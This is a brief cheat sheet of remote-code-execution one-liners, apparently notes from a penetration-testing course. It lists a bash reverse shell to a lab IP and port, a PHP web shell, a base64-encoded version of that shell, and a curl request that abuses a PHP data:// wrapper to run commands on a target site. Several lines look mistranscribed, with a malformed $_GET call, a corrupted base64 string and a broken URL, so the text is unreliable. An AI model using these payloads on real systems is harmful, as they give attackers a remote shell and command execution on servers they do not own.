RCE oneliners
#bash
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
<?php echo system($_GET('cmd')); ?>
kaliakali:~$ echo -n '<?php echo system($_GET[" cmd"]);?>' | base64
PD9waHAgZWNobyBzeXNOZW00JF9HRVRbImNtZCJdKTs/Pg==
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=data://text/plain;bas
e64, PD9waHAgZWNobyBzeXNOZWOoJF9HRVRbImNtZCJdKTs/Pg==8cmd=ls"